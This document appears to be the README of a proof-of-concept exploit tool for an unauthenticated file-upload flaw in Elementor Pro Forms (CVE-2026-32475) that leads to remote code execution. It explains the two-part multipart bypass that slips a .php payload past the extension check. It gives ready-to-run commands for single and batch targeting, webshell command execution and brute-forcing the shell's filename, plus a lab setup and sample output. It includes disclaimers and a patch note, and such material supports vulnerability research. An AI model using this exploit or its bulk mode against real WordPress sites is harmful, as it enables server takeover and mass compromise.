CVE-2026-32475(CVSS 9.0 严重,CWE-434)的 PoC:Elementor Pro Forms 模块中存在未认证的任意文件上传漏洞,可导致远程代码执行。已在 Elementor Pro 4.2.2(2026-08-19)中修复。由 Tin Pham (TF1T) 通过 Patchstack 漏洞赏金计划报告。
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
本概念验证仅用于授权的安全研究、教育和防御性测试。
Elementor Pro 表单的文件上传字段在两个具有不同语义的独立循环中处理上传的条目(modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- 中止整个方法
}
// is_file_type_valid() ... // 永远不会到达第 2 个条目
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- 仅跳过此条目
}
$filename = uniqid() . '.' . $file_extension; // 攻击者控制的扩展名
move_uploaded_file( $file['tmp_name'], $new_file );
}
为同一上传字段提交两个文件部分——一个空的第一部分(filename="" → UPLOAD_ERR_NO_FILE)后跟 .php 载荷——会使 validation() 在扩展名黑名单看到载荷之前返回,而 process_field() 仍会将其移动到 wp-content/uploads/elementor/forms/<uniqid()>.php,这是一个公共 Web 目录。直接请求该 URL = 远程代码执行。
上传由 POST /wp-admin/admin-ajax.php(action=elementor_pro_forms_send_form)处理,无需认证且无需 nonce。post_id、form_id 和上传字段名称在公开页面 HTML 中可见,因此整个攻击是未认证的。
目标:
攻击者:
单目标(通过 sitemap/首页自动发现表单页面):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
显式指定表单页面:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
批量模式(sites.txt:每行一个站点——base_url 或 base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
JSON 列表格式:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
对已上传的 shell 执行命令:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
post_id、form_id、上传字段名称以及所有其他表单字段;自动用合理的值填充所有字段,使必填字段通过验证(使用 --field 覆盖)。admin-ajax.php 发送两部分 multipart POST。注意:success:false 且 errors 对象为空仍被视为已上传,因为默认的 Email 操作在文件移动之后、wp_mail() 失败时才会抛出错误。只有上传字段本身被拒绝(file type is not allowed)才算被阻止。uniqid() = 8 位十六进制秒 + 5 位十六进制微秒。秒来自响应的 Date 头;亚秒部分根据 (t1 - date_epoch) % 1 估算(当攻击者和服务器时钟接近时准确)。一个 keep-alive 探测器(比每次请求一个连接快约 30 倍)以微秒分辨率扫描移动窗口;当时钟偏差时,--full-second 暴力破解整个秒。GET <shell>?c=<command> 执行命令; 通过 删除 shell。docker-compose.yml + setup_form_page.php 可复现易受攻击的目标:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# 将合法获取的 elementor-pro.zip (<= 4.2.1) 放入项目目录,然后:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
将 Elementor Pro 更新至 4.2.2+。更新可堵住漏洞,但不会移除已上传的 shell——请审计 wp-content/uploads/elementor/forms/ 目录中是否有残留的 .php 文件。
仅供授权的安全研究和实验室使用。
| 标志 | 默认值 | 含义 |
|---|
--url | - | 单目标基础 URL |
--list | - | 批量模式列表文件 |
--page-url | --url | 包含表单的页面 |
--command | id; hostname; uname -a | 通过 shell 执行的命令 |
--cleanup | 关闭 | 测试后自删除 webshell |
--field k=v | - | 覆盖自动填写的表单字段(可重复) |
--tail | 0.3 | 估计上传时间之前的秒数,用于精细扫描 |
--step-fine | 1 | 精细扫描的微秒步长 |
--full-second | 关闭 | 暴力破解完整的 uniqid 秒(应对时钟偏差) |
--attempts | 1 | 上传+扫描尝试次数(每次使用新的随机文件名) |
--max-probes | 600000 | 每次尝试的扫描请求预算 |
--workers | 50 | 并行扫描线程数 |
--insecure | 关闭 | 忽略 TLS 错误(自签名目标) |
--out file.json | - | 将报告写入 JSON |
--cleanup?x=1| 状态 | 含义 |
|---|
vulnerable | shell 已上传且命令已执行——立即修补 |
blocked | 上传字段被拒绝(已修补的 4.2.2+、必填字段、WAF、验证码) |
uploaded_no_exec | 文件已落地但未恢复文件名(使用 --full-second 重试) |
no_form | 目标上未找到易受攻击的表单 |
error | 连接/网络错误 |